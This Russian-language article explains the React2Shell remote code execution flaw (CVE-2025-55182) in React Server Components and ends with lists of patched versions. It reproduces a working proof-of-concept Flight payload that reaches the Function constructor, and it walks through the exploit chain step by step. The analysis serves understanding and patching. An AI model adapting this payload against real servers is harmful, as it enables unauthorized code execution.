3 декабря 2025 года критическая уязвимость в серверных компонентах React (React Server Components, RSC) потрясла сообщество веб-разработчиков. Была обнаружена уязвимость React2Shell/React4Shell (CVE-2025-55182) с оценкой CVSS 10.0, что является максимальным баллом для уязвимостей. Ошибка позволяет удаленно выполнять код (Remote Code Execution, RCE) на любом сервере, работающем с RSC. В течение нескольких часов после обнаружения уязвимости китайские государственные группы и криптомайнинговые компании начали взламывать уязвимые серверы.
В этой статье подробно разбирается, что и почему произошло, а также как незначительное, на первый взгляд, проектное решение в протоколе React Flight превратилось в одну из самых серьезных уязвимостей React в 2025 году.
Мы также обсудим, как защитить себя и как эта уязвимость подчеркивает важнейшие принципы безопасности.
Что представляет собой эксплойт React2Shell
По сути, React2Shell - это ошибка десериализации в процессе, когда RSC восстанавливают серверные данные из полезной нагрузки (payload) Flight. Из-за некорректной десериализации RSC из данных полезной нагрузки любой может выполнить вредоносный код на сервере, что приводит к уязвимости безопасности 10-го уровня.
Доказательство концепции
Уязвимость была продемонстрирована Лахланом Дэвидсоном, который представил следующее доказательство концепции (Proof of Concept, POC):
const payload = { '0': '$1', '1': { 'status':'resolved_model', 'reason':0, '_response':'$4', 'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}', 'then':'$2:then' }, '2': '$@3', '3': [], '4': { '_prefix':'console.log(7*7+1)//', '_formData':{ 'get':'$3:constructor:constructor' }, '_chunks':'$2:_response:_chunks', } }
Разберем это POC. Но сначала кратко рассмотрим RSC и React Flight.
React Server Components и React Flight
Традиционно у веб-приложений было два варианта:
Рендеринг на стороне сервера (Server Side Rendering, SSR): рендеринг HTML на сервере, отправка клиенту целых страниц.
Рендеринг на стороне клиента (Client Side Rendering, CSR): отправка клиенту пакетов JavaScript, рендеринг всего в браузере.
RSC представил третий вариант:
рендеринг компонентов на сервере (с доступом к базам данных, файловым системам, секретным ключам)
преобразование дерева компонентов в компактный формат с помощью протокола React Flight
передача данных клиенту в потоковом (stream) режиме небольшими частями (chunks) JavaScript
"гидратация" (hydration) дерева компонентов клиентом, что делает его интерактивным
Это замечательно, поскольку сочетает в себе преимущества как клиентского, так и серверного рендеринга:
сложные вычисления (разбор (парсинг) Markdown, обработка данных) могут выполняться на сервере
уменьшается размер клиентской сборки, поскольку требуется меньше JavaScript-кода
данные могут передаваться клиенту постепенно по мере готовности, что улучшает воспринимаемую пользователем производительность
Все это обеспечивается новым протоколом, разработанным для RSC, под названием React Flight.
React Flight
React Flight — это протокол передачи данных, лежащий в основе серверных компонентов. Он сериализует компоненты React в компактный, потоковый формат.
RSC требуется передавать данные с сервера на клиент и обратно, а также отправлять промисы (promises), а текущая реализация JSON не позволяет этого делать. Поэтому команде React пришлось разработать новый протокол под названием React Flight для RSC.
С помощью этого протокола React может передавать данные между сервером и клиентом по частям (chunks). Данные выглядят как массив значений, представленных в виде строк:
1:HL["/_next/static/css/4470f08e3eb345de.css",{"as":"style"}] 0:"$L2" 3:HL["/_next/static/css/b206048fcfbdc57f.css",{"as":"style"}] 4:I{"id":2353,"chunks":["2272:static/chunks/webpack-38ffa19a52cf40c2.js","9253:static/chunks/bce60fc1-ce957b73f2bc7fa3.js","7698:static/chunks/7698-762150c950ff271f.js"],"name":"default","async":false} ...
Что это такое
Это компактное строковое представление виртуального DOM, содержащее сокращения, внутренние ссылки и символы с закодированным специальным значением.
Строки разделены
\n, поэтому это строковый формат, а не JSON.Фактически, исходный код разбивается на чанки и помещается в массив внутри тегов
<script>.Каждая строка имеет формат
ID:TYPE?JSON.
Как это работает
Мы можем предварительно сгенерировать контент на сервере, вызвав метод
renderToPipeableStreamдля сериализации компонента.Результат разбивается на чанки.
Чанки ссылаются друг на друга с помощью компактных строковых токенов.
Промисы могут передаваться потоком и выполняться постепенно.
Десериализация контента на стороне клиента осуществляется с помощью функции
createFromFetch, которая возвращает корректный JSX-код.

Пример
Допустим, у нас есть простой компонент для создания постов в блоге:
// BlogPost.server.js (серверный компонент) async function BlogPost({ id }) { // Это выполняется только на сервере const post = await db.query('SELECT * FROM posts WHERE id = ?', [id]); return ( <article> <h1>{post.title}</h1> <p>By {post.author}</p> <div>{post.content}</div> </article> ); } export default BlogPost;
Он преобразуется в такой протокол React Flight:
M1:{"id":"./src/BlogPost.server.js","chunks":[],"name":""} J0:["$","article",null,{"children":[["$","h1",null,{"children":"Getting Started with RSC"}],["$","p",null,{"children":"By Alice"}],["$","div",null,{"children":"React Server Components are a new way to build React apps..."}]]}],
Разберем подробно.
Строка 1: M1:...
M= ссылка на модуль1= идентификатор этого модуляJSON, содержащий метаданные о модуле серверного компонента
Строка 2: J0:...
J= чанк JSON0= идентификатор корневого компонентамассив описывает дерево элементов React:
"$"= специальный маркер для элементов React"article"= тип элементаnull= ключ (key)объект, содержащий пропы (props) компонента, включая массив
children
Мощь React Flight заключается в поддержке такого функционала, как:
потоковая передача серверных компонентов
сериализация промисов
обращение к значениям, доступным только на сервере (функциям, BLOB-объектам)
Именно это и сделало возможным рассматриваемый эксплойт.
Эксплойт React2Shell
Данная уязвимость использует эти механизмы для следующих целей:
внедрение ложного промиса
перехват внутренней логики React по обработке
thenизвлечение конструктора
Functionвыполнение вредоносного JavaScript-кода на сервере, что приводит к RCE
Полный процесс выполнения
Вспомним предложенное POC:
const payload = { '0': '$1', '1': { 'status':'resolved_model', 'reason':0, '_response':'$4', 'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}', 'then':'$2:then' }, '2': '$@3', '3': [], '4': { '_prefix':'console.log(7*7+1)//', '_formData':{ 'get':'$3:constructor:constructor' }, '_chunks':'$2:_response:_chunks', } }
Разберем его по шагам.
Шаг 1: React обрабатывает чанк 0 (точку входа)
"0": "$1" // React начинает здесь, видит ссылку на чанк 1
Шаг 2: React обрабатывает чанк 1 (ложный промис)
"1": { "status": "resolved_model", "reason": 0, "_response": "$4", "value": "{\"then\":\"$3:map\",\"0\":{\"then\":\"$B3\"},\"length\":1}", "then": "$2:then" }
Объекту аккуратно придается вид разрешенного промиса.
В JavaScript любой объект со свойством then рассматривается как thenable и обрабатывается как промис.
React видит это и думает: "Это промис, мне следует вызвать его метод then".
Вот тут-то и начинается эксплойт.
Шаг 3: React разрешает первый then
"then": "$2:then" // "Взять чанк 2, затем обратиться к его свойству 'then'"
Шаг 4: поиск чанка 2
Следующий фрагмент на самом деле довольно сложный:
"2": "$@3", "3": []
React решает эту задачу следующим образом:
Находит чанк 2 →
"$@3"$@3- это ссылка на себя (self-reference), которая возвращает свой собственный объект-обертку, то есть объект из третьего чанка. Это ключевой момент.
Объект-обертка выглядит так:
{ "value": [], "then": "function(resolve, reject) { ... }", "_response": { ... } }
Обратите внимание, что этот объект имеет метод then, который вызывается при вызове $2:then.
Шаг 5: обращение к свойству then обертки
Функция then чанка 1 присваивается then обертки чанка 3:
"then": "$2:then" // chunk3_wrapper.then
Это внутренний код React:
function chunkThen(resolve, reject) { // 'this' теперь является чанком 1 (вредоносный объект) if (this.status === 'resolved_model') { // Обработка значения var value = JSON.parse(this.value); // Разбор строки JSON // Разрешение ссылок, содержащихся в значении, с помощью this._response var resolved = reviveModel(this._response, value); resolve(resolved); } }
Проверка status === 'resolved_model' обходится за счет установки атакующим такого объекта в чанке 1:
"1": { "status": "resolved_model", "reason": 0, "_response": "$4", "value": "{\"then\":\"$3:map\",\"0\":{\"then\":\"$B3\"},\"length\":1}", "then": "$2:then" }
Шаг 6: выполнение блока then
Выполняется следующий код:
var value = JSON.parse(this.value); // {"then":"$3:map","0":{"then":"$B3"},"length":1}
Ключевые детали:
this.status- контролируется атакующимthis.value- JSON, контролируемый атакующимthis._response- ссылается на чанк 4
Шаг 7: обработка ответа
Следующая строка кода вызывается с чанком 4 и разобранным JSON из шага 6:
var resolved = reviveModel(this._response, value);
"4": { "_prefix": "console.log(7*7+1)//", "_formData": { "get": "$3:constructor:constructor" }, "_chunks": "$2:_response:_chunks" }
{ "then": "$3:map", "0": { "then": "$B3" }, "length": 1 }
Это выглядит как рекурсивный блок then, и React начинает разрешать ссылки внутри value. Одной из них является $B3.
Шаг 8: разбор двоичных данных
Префикс B означает двоичный объект (blob), который является специальным ссылочным типом, используемым для сериализации несериализуемых значений, таких как:
функции
символы
файловые объекты
другие сложные объекты, которые невозможно преобразовать в строку JSON
React разрешает блобы следующим образом:
return response._formData.get(response._prefix + blobId)
Атакующий подменил эти значения собственными:
_formData.get→'$3:constructor:constructor'→[].constructor.constructor→Function_prefix→'console.log(7*7+1)//'
React выполняет:
Function('console.log(7*7+1)//3')
Бум!
Переопределяя свойства объекта, злоумышленник выполняет вредоносный код.
Хитрый прием, позволяющий избежать ошибок, — это комментарий, следующий за console.log в следующей строке:
console.log(7*7+1)//
Без этого код return response._formData.get(response._prefix + blobId) выполнится как Function(console.log(7*7+1)3), что приведет к синтаксической ошибке (Uncaught SyntaxError: missing ) after argument list).
Комментарий позволяет избежать ошибок:
'_prefix': 'console.log(7*7+1)//' Function(console.log(7*7+1)//3) // 3 теперь является комментарием и игнорируется 🤯
Очень умный эксплойт.
Резюме
Атакующий:
внедряет конструктор
Functionчерез блобссылается на него с помощью
$B3в цепочке промисаобманывает десериализатор, заставляя его вызвать
Functionс вредоносным кодом

Кого это затрагивает
Это затрагивает всех, кто используется RSC. Это касается и популярных фреймворков:
Next.js (App Router с RSC)
Redwood
Waku
любая пользовательская настройка с react-server-dom-webpack или аналогичными пакетами
Уязвимость присутствует в нескольких версиях следующих библиотек:
Еще две уязвимости
Помимо React2Shell, были обнаружены еще две уязвимости:
Отказ в обслуживании (Denial of Service, DoS): рекурсивные вызовы
thenмогут обрушить сервер (по данным Stack Overflow)Раскрытие секретной информации: эксплойт внутренних структур React может привести к утечке секретов, хранящихся на сервере
Устранение уязвимости
Команда React выпустила экстренные патчи для решения этой проблемы. Основное исправление добавляет строгие проверки принадлежности свойств с помощью hasOwnProperty(), чтобы предотвратить обход цепочки прототипов, и проверяет внутренние ссылки, чтобы предотвратить их перехват.
Если вы используете версии 19.0.0, 19.0.1, 19.0.2, 19.1.0, 19.1.1, 19.1.2, 19.2.0, 19.2.1 и 19.2.2:
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack
Необходимо немедленно обновиться до:
react@19.0.3 , 19.1.4 или 19.2.3.
патчи, специфичные для конкретной платформы
Next.js
15.0.5
15.1.9
15.2.6
15.3.6
15.4.8
15.5.7
16.0.7
Проверьте свои зависимости с помощью команды npm list react react-dom.
Обратите внимание, что даже приложения, которые явно не используют серверные функции (server functions), могут быть уязвимы, если они поддерживают RSC.
Извлеченные уроки
React2Shell подтверждает важность соблюдения важнейших принципов безопасности:
Никогда не доверяйте пользовательскому вводу: даже, казалось бы, безобидный JSON может стать оружием.
Валидация десериализованных данных: проверка структуры объектов и принадлежности свойств.
Принцип наименьших привилегий: не раскрывайте внутренние цепочки прототипов.
Многоуровневая защита: многоуровневая валидация предотвращает возникновение единых точек отказа (Single Points of Failure).
Вместо заключения
Обновите зависимости React. Прямо сейчас.
Благодарим Лахлана Дэвидсона за ответственное раскрытие информации и подробное доказательство концепции.
